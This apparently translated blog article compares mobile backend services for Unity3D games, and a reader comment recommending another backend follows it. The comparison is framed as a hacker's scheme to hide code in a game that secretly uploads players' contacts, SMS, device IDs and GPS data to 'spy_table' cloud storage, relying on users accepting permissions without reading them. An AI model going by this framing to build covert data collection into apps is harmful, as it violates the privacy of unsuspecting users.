Currently, the backends focused on certain needs of application developers are actively “built” upon “low-level” cloud systems (bare virtual servers and virtual file storages). The so-called backend as a service (BaaS) are in really good demand with mobile software developers, due to which now the differences between BaaS and Mobile BaaS (MBaaS) are almost blurred out. MBaaS-services are very popular with online-games developers and start-up projects, because they help spare an ocean of resources and time for development and maintenance of server infrastructure. Today it’s possible both to connect client side to cloud storage, user maintenance service, social services, etc., and to bring the working prototype to operation within several hours and free of charge.
To show you the basic principles of joining with MBaaS, I made up a story to which, by the way, I was inspired by NSA, which had been collecting information through trojan installed in Angry Birds game.
The point of the story is the following. Assume a Unity3D/C# cross-platform program able to work on Windows, Android, and iOS. It can be, for example, a simple, but captivating game. A hacker wants to transfer its data to a cloud remaining unnoticed by a user and to have an easy access to them afterwards. Which resources will he use?
MBaaS usage method
Work with MBaaS-services has some peculiarities, but in general the scheme is standard:
- Register in MBaaS-service.
- Create a project or an application, get its access keys, and specify them in the client-side program.
- Program the server connection on the client side.
- Sometimes it’s necessary to create a simulative user for identification of a certain communication session between the smartphone and the service.
- By means of rather simple API (usually, an object-oriented one), transfer the data to a cloud.
- From time to time, check MBaaS console to analyze the latest loaded data.
- Profit!
I will analyze six MBaaS-services which support Unity3D. Actually there are dozens of BaaS-services of similar destination and more often they work with SDK for Android and iOS, but I will not focus on a certain platform in order not to disregard the core while studying implementation details.
What will be spilled and how?
In the most simple cases the phone numbers from contact list and SMS content will be enough; when speaking about something more progressive, one can get the root and load more interesting data, including the GPS one. The corresponding functions can be easily implemented even within cross platform Unity3D; all you need is to add several dozens of source code lines for each of three general platforms (Android, iOS, Windows Phone).
string IMEI = SystemInfo.deviceUniqueIdentifier;
Don’t forget to activate READ_PHONE_STATE, anyway users usually accept these requests by default.
Choosing the best of the worst
My opinion of MBaaS-systems is certainly quite subjective; the first thing I considered when estimating was the entry threshold of the corresponding service: how fast one can start a working text example, how handy is documentation, what features are included in total.
GameSparks.com
Proudly called The #1 Backend-as-a-Service platform for games, this service earned a definite F and the last place. It takes a moment to log in, create an empty game, and install SDK in unitypackage form. The first wake-up call sounded when copying the game keys: in console, the space for API Key and API Secret is so little (it’s not assigned automatically) that it’s really easy to copy a part of the key without its invisible tail by mistake. Specify the keys in Unity3D scene, in GameSparks menu settings.
The service supports multiple platforms: iOS, Android, JavaScript, Marmalade, Cocos2d, Flash, etc. For Unity3D two SDK versions are offered, but I strongly discommend the third one: for the moment, it’s very rough: there are many bugs, the standard authentication is not possible though I spent a good hour to learn the ropes. However, the previous Unity SDK 2 easily connected to GameSparks server, but I was amazed by the absence of any understandable documentation and general clumsiness. And finally a strange example with an accent when connecting Facebook using NGUI paid library just killed me. Unfortunately, even such pleasant things like NoSQL, direct integration with social networks, and pretty broad functionality didn’t outweigh the time you potentially spend to start working with documents.
GameSparks forums are disappointing as well: users wait for support responses for months seeing only “we will study your proposals”. I strongly recommend to pay attention to this issue, because MBaaS-services market is rather unstable.
However, with GameSparks free tariff one can get 20 GB of cloud space, 20 GB of total traffic, and 20 mln of API fetches — the figures are quite serious and overcome, sometimes greatly, the competitors. Time will show if it’s related to aggressive marketing development policy or to convulsive striving to survive under the conditions of growing competition.
Kumakore.com
SDK versions are offered for Unity, Android, iOS and, importantly, a universal REST API is available. It’s nice that all SDKs are put on GitHub with sources. Unity3D project configuration process is similar to the one shown in the previous example: import SDK with unitypackage, create an application in the console, and memorize the keys. These are all positive points. The promised Hellow world specimen is missing in documentation. Server connection function contains an advanced parameter (application version), the format of which is hard to find immediately.
For the first connection with Kumakore cloud, one needs to insert console keys values and application version into the implementer:
KumakoreApp app = new KumakoreApp("b99418973e694ec8ce453a53bf712a79", "0.0", 1415103791);
It’s better to create a virtual user in the console beforehand:
app.signin("kumasun3157","password").sync(delegate(ActionUserSignin action) { if(action.getCode() == StatusCodes.SUCCESS) { // Spilling data on the server // ... } });
The main minus of Kumakore service use for our purposes lies in the need to load data to storage objects bound to some certain user. The service seems to have some Global Object, but I didn’t find any specimen of working with it. Within the current connection, you need to get the current user getUser(), get the backend storage getDatastore() out of it, and then, already inside, create the needed object in the key — value collection format
// Our data Dictionary<string,object> data = new Dictionary<string, object>(); data.Add("phone_num", "123-45-67"); // Conditional user symbols of the object string type = "phone"; string name = "lox"; ActionDatastoreCreate action2 = app.getUser().getDatastore().create(type, name, data); action2.sync(delegate(ActionDatastoreCreate a) { if(a.getCode() == StatusCodes.SUCCESS) { // Successfully! } });
Among the minuses are the obsolete documentation (activation formats of many functions were changed), lack of good specimens, and weak support of the server logic, but in whole the service is minimally satisfactory. Although, the free tariff is also very minimalist: 500 MB of storage and totally one million of API requests and pushes per month.
Kii.com
One more clumsy service, this time from Japan. Its advantage over the previous one —autonomous object storage. Register quickly, create an application in console, choose the server location (the cloud service response time depends on this choice), get two keys.
Configuration of SDK and primary connection isn’t too trivial; to work with the cloud, it’s necessary to register a player, which, as I have already mentioned, is not too convenient. SDK includes three DLLs and a rather good JSON-parser. They get copied to Assets catalogue of a new project and then you need to attach a base script to the empty game object. Insert Application ID, Application Key and Site in its settings (the latter depends on the server geography).
The server connection starts from new user registration.
KiiUser user = KiiUser.BuilderWithName ("username").Build (); user.Register("password", (KiiUser user2, Exception e) => { if (e != null) { // Authorization error return; } // Successfully! });
Now you can work with JSON cloud storage. There, named “backets” (conventional set of random objects) get formed.
KiiBucket bucket = Kii.Bucket("spy_table"); // Let's prepare an object which will be recorded in the cloud: KiiObject kiiObj = bucket.NewKiiObject(); kiiObj["phone_num"] = "123-45-67"; kiiObj["money"] = 500; kiiObj.Save((KiiObject obj, Exception e) => { if (e != null) { // Failed } else { // Successfully! } });
The server logic is implemented by means of so-called server extensions which are recorded on JavaScript. It’s important that one can fetch these scripts both by conditions (by schedule or even manually, tracking the process from console) and directly from the client code:
KiiServerCodeEntry entry = Kii.ServerCodeEntry("main"); entry.Execute(...);
For the experiments, the user is offered 1 GB storage and one million APIs and pushes per month.
The winner and awardees
3rd place. Gamesnet.Yahoo.net
Ex PlayerIO.com, bought by Yahoo in the past year, was developing rather successfully and obtained 150 million users within four years. Now, it is officially called Yahoo Games Network, though the platform itself didn’t change much; for example, the key classes are still called PlayerIO. Supported platform — Android Java, iOS/Objective-C, Unity3D/.NET, ActionScript. By the way, Flash is still positioned as the main client platform, the majority of specimens and tutorials are based on ActionScript, and this moral obsolescence is the main disadvantage of this platform. The documentation still demonstrates specimens for Visual Studio 2010.
After a simple registration, create a new game. Yahoo services list includes NoSQL cloud BigDB storage. Yahoo’s strong point is direct work bypassing additional registration of gamers. From the service console, on BigDB tab, create a new table for your objects storage (e.g., xtable). The storage is non-relational and schemeless, so you don’t need to set a rigid structure of the table, it’s enough to insert its name.
SDK for Unity3D is an empty blank of a project, DLL PlayerIOUnity3DClient.dll is responsible for all the cloud functionality.
Server connection is performed with a simple code
PlayerIOClient.PlayerIO.Connect( "test-emwr9sy8ohefq9ce7mbsb7", "public", "user-id", null, null, null, delegate(Client client) { // Connection OK }, delegate(PlayerIOError error) { // Error Debug.Log(error.Message); });
In fact, it’s enough to insert the only Game ID identificator and any random current user identificator (in our case — “user-id”).
After having set the connection, you can immediately load the necessary information on the user’s phone to the cloud. For this purpose, create a database object and fill in its randomly named fields:
DatabaseObject obj_db = new DatabaseObject(); obj_db.Set("phone_num", "123-45-67"); obj_db.Set("money", 500);
The process of adding an object to the base is transparent as well:
client.BigDB.CreateObject("xtable", "user-id", obj_db, delegate (DatabaseObject result){ result.Save(null); });
The data you need will appear in Yahoo service console.
Among the minuses of the service are the minimalist specimens only for flash, clumsy and rather scanty documentation. However all this is compensated by the simple and stable service work, and by total reliability under the aegis of Yahoo.
I’d like to underline a brilliant focus on development of multiplayer server code — the development can be performed in Visual Studio, a usual DLL get loaded to the server, and the illustrative services of developers clusters maintenance. For this reason, notwithstanding its bareness, this server takes the third place.
2nd place. Api.Shephertz.com (App42)
This service takes the second place somewhat through the buddy system: I know it well, I use it, and I’m very satisfied. Particularly I’d like to note the support: right after the first experiments, a manager from India was assigned to me, and we successfully hold correspondence.
App42 Cloud API is developing rather stably, and the service list gets refilled continuously. Currently, around twenty client technologies are available: from the standard (storage, notifications, mail, social networks, achievements, tops, server code, analytics) to rather original ones (geodata support, photo albums, fetches logics, e-commerce, asynchronous message queues, offline modes, etc.).
When registering, you get the game keys and start configuring connection. Among the small minuses of App42 — lack of complete JSON parser in standard SDK, so I took an open source SimpleJSON. One more queerness of this platform — processing of server negative responses through aborts, though normally it should be done through delegates.
ServiceAPI cloudAPI; StorageService storageService; try { // Connecting the server: cloudAPI = new ServiceAPI("27bba692c71f3ece89767", "05747459e61b39"); // Connecting the cloud service: storageService = cloudAPI.BuildStorageService(); } catch(Exception) { // Failed storageService = null; }
Record the data in the cloud:
try { JSONClass jsonobj = new JSONClass(); jsonobj.Add("phone_num", "123-45-67"); jsonobj.Add("money", 500); // Save the object in the cloud table spy_table with the key spy_info: storageService.InsertJSONDocument("spy_table","spy_info", jsonobj); // Successfully! } catch(App42Exception ) { // Failed }
The server code gets written on Java.
The service offers one million APIs per month, one million pushes, 1 GB cloud storage and 1 GB of total traffic.
1st place. Parse.com
This is the undisputed winner of our rating and not because its creator is Ilya Sukhar from Moscow. He founded this start-up in 2011, two years later Zuckerberg called him offering $85 million for Parse service, and Ilya accepted the offer. Even though Dropbox, Google and Yahoo also made him offers.
Everything in Parse.com is implemented rather simply and stylishly. Log in, create an empty application in Parse console, copy the needed keys to Keys section. Load an empty blank of Unity3D project, in which Parse.Unity.dll is responsible for all the platform functions. Open the scene, specify Application ID and .NET Key keys in Parse Initializer project settings.
In the code, it’s enough to specify a unity operator to save data in Parse cloud:
ParseObject testObject = new ParseObject("TestObject"); testObject["phone"] = "123-45-67"; testObject["money"] = 500; testObject.SaveAsync();
TestObject — a name of the cloud table, which is created in Data section of Parse console by couple of clicks.
I can’t resist giving an elegant code for data capture from Parse cloud:
ParseQuery<ParseObject> query = ParseObject.GetQuery("TestObject"); query.GetAsync("v3unymsLIv").ContinueWith(t => { ParseObject testObj = t.Result; Debug.Log(testObj["phone"]); });
A role of GetAsync() parameter is played by an internal identificator of external object (objectId) available in console.
Server logic gets transparently coded on JavaScript, and the corresponding code can be bound to various events or launch it in the background. Even the free tariff of Parse.com is pleasingly generous: 20 GB of cloud space for objects and 20 GB for files, 2 TB of traffic, 30 APIs per second (2.67 million requests per month) and one background server task.
Out of competition
I’ll point out some more good services. Like, for example, Russian QuickBlox, which offers a package for Unity3D focused on data load-upload and interaction with Amazon S3 storage. The minus is that to access the Asset bundles storage, you need a Pro-version of Unity
There are some platforms without direct support of cloud storage through Unity3D, but often there is a possibility to contact it through universal REST API. These are, surely, Google Cloud and Amazon with fresh Cognito for iOS, Android with its OS Fire.
I’d like to put emphasis also to a popular in gamedev rounds Photon service, which provides a strong and perfectly zoomed cloud backend Photon Cloud for mobile, web- and PC-platforms. Photon is focused on creation of multiuser 3D games, and doesn’t offer cloud data storage, but there is a possibility to order a dedicated server and to configure it according to your sophisticated needs. Users obtain a high-level multiplayer environment, where you don’t need to take care of synchronization of a game world in real time or of step-by-step mode between all users. Photon’s minus for a hacker — this abstractedness means use of discrete data transmission methods similar to steganography. Or you can quickly launch a usual chat — a Photon service so popular that it even stays alone.
I wanted to share my experience with selecting a mobile backend for my app. I used to run my applications (I have several in the app store(s)) on Parse and was pretty happy with the backend until Facebook decided to shut down the service. After that I have evaluated all listed options and was not happy with any of them for various reasons. Firebase was not a good fit because the of their approach with JSON document being a database – I did a stress test with million nodes in the tree and the service was not performing well. AWS and Appery are quite complex and become expensive very quickly while Azure and Kii are quite limited in the capabilities. Kinvey is both limited and super expensive once you start doing something more serious in the app. In the end I chose Backendless (https://backendless.com) for my backend. The service has native SDKs for all major mobile and web platforms. The usability and developer experience is by far the best I have seen. The service has an extremely flexible server-side code model where I can deploy Java and JS server-side code to override default handling of the API and to create my own API services. My apps leverage social (Facebook, Twitter, Google) login, geolocation, file upload/download, push notifications (iOS, Android) and of course data persistence, which has really awesome support for complex relations. Check it out if you are looking for a flexible and very reasonably priced backend.